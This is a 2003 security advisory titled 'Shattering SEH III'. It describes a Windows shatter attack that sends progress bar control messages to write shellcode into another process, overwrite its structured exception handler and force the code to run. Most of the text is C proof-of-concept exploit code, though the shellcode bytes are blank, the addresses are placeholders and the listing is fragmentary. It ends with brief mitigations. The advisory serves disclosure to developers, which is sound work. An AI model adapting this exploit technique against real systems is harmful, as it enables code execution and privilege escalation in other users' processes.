Type packetstorm
Reporter Brett Moore SA
Modified 2003-09-29T00:00:00


= Shattering SEH III  
= Originally posted: September 29, 2003  
== Background ==  
After we posted our first research post regarding overwriting SEH using  
windows messages;  
Oliver Lavery posted about using the same technique against tab controls;  
Following is a sample program that demonstrates the same techniques been  
used against the progress bar control. Although this method does work, we  
were unable to find any 'system level' programs that had progress bars to  
be exploited.  
We are however releasing this so that developers of such programs are aware  
that even non-interactive controls may be vulnerable to shatter type  
The code is almost identical except for the use of different messages which  
we use to write our shellcode into a known writeable address. Then the SEH  
handler is overwritten with the same address, and after causing an exception  
the code is executed.  
== Example Code ==  
* Progress Control Shatter exploit  
* Demonstrates the use of Progress Control messages to;  
* - inject shellcode to known location  
* - overwrite 4 bytes of a critical memory address  
* 3 Variables need to be set for proper execution.  
* - tWindow is the title of the programs main window  
* - sehHandler is the critical address to overwrite  
* - shellcodeaddr is the data space to inject the code  
* Local shellcode loads relevant addresses  
* Try it out against any program with a progress bar  
* Based on (and pretty much identical to)  
* mcafee-shatterseh2.c by  
* Oliver Lavery <oliver.lavery at>  
#include <windows.h>  
#include <commctrl.h>  
#include <stdio.h>  
// Local Cmd Shellcode.  
BYTE exploit[] =  
char g_classNameBuf[ 256 ];  
char tWindow[]="Checking Disk C:\\";// The name of the main window  
long sehHandler = 0x7fXXXXXX; // Critical Address To Overwrite  
long shellcodeaddr = 0x7fXXXXXX; // Known Writeable Space Or Global Space  
void doWrite(HWND hWnd, long tByte,long address);  
void IterateWindows(long hWnd);  
int main(int argc, char *argv[])  
long hWnd;  
DWORD ProcAddr;  
printf("%% Playing with progress bar messages\n");  
// Find local procedure address  
hMod = LoadLibrary("kernel32.dll");  
ProcAddr = (DWORD)GetProcAddress(hMod, "LoadLibraryA");  
if(ProcAddr != 0)  
// And put it in our shellcode  
*(long *)&exploit[13] = ProcAddr;  
hMod = LoadLibrary("msvcrt.dll");  
ProcAddr = (DWORD)GetProcAddress(hMod, "system");  
if(ProcAddr != 0)  
// And put it in our shellcode  
*(long *)&exploit[26] = ProcAddr;  
printf("+ Finding %s Window...\n",tWindow);  
hWnd = (long)FindWindow(NULL,tWindow);  
if(hWnd == NULL)  
printf("+ Couldn't Find %s Window\n",tWindow);  
return 0;  
printf("+ Found Main Window At...0x%xh\n",hWnd);  
printf("+ Done...\n");  
return 0;  
void doWrite(HWND hWnd, long tByte,long address)  
SendMessage( hWnd,(UINT) PBM_SETRANGE,0,MAKELPARAM(tByte , 20));  
SendMessage( hWnd,(UINT) PBM_GETRANGE,1,address);  
void IterateWindows(long hWnd)  
long childhWnd,looper;  
childhWnd = (long)GetNextWindow((HWND)hWnd,GW_CHILD);  
while (childhWnd != NULL)  
childhWnd = (long)GetNextWindow((HWND)childhWnd ,GW_HWNDNEXT);  
GetClassName( (HWND)hWnd, g_classNameBuf, sizeof(g_classNameBuf) );  
if ( strcmp(g_classNameBuf, "msctls_progress32") ==0)  
// Inject shellcode to known address  
printf("+ Sending shellcode to...0x%xh\n",shellcodeaddr);  
for (looper=0;looper<sizeof(exploit);looper++)  
doWrite((HWND)hWnd, (long) exploit[looper],(shellcodeaddr + looper));  
// Overwrite SEH  
printf("+ Overwriting Top SEH....0x%xh\n",sehHandler);  
doWrite((HWND)hWnd, ((shellcodeaddr) & 0xff),sehHandler);  
doWrite((HWND)hWnd, ((shellcodeaddr >> 8) & 0xff),sehHandler+1);  
doWrite((HWND)hWnd, ((shellcodeaddr >> 16) & 0xff),sehHandler+2);  
doWrite((HWND)hWnd, ((shellcodeaddr >> 24) & 0xff),sehHandler+3);  
// Cause exception  
printf("+ Forcing Unhandled Exception\n");  
SendMessage((HWND) hWnd,(UINT) PBM_GETRANGE,0,1);  
printf("+ Done...\n");  
== Example Vulnerable Programs ==  
>From our testing, any interactive process that has an accessible  
progress bar is vulnerable.  
== Solutions ==  
See the iDEFENSE paper for some good solution examples.  
- Limit the interactive system processes  
- Filter the messages accepted by interactive system processes  
== Credit ==  
Brett Moore from  
== About == is a leader in intrusion testing and security  
code review, and leads the world with SA-ISO, online ISO17799 compliance  
management solution. is committed to security  
research and development, and its team have previously identified a  
number of vulnerabilities in public and private software vendors products.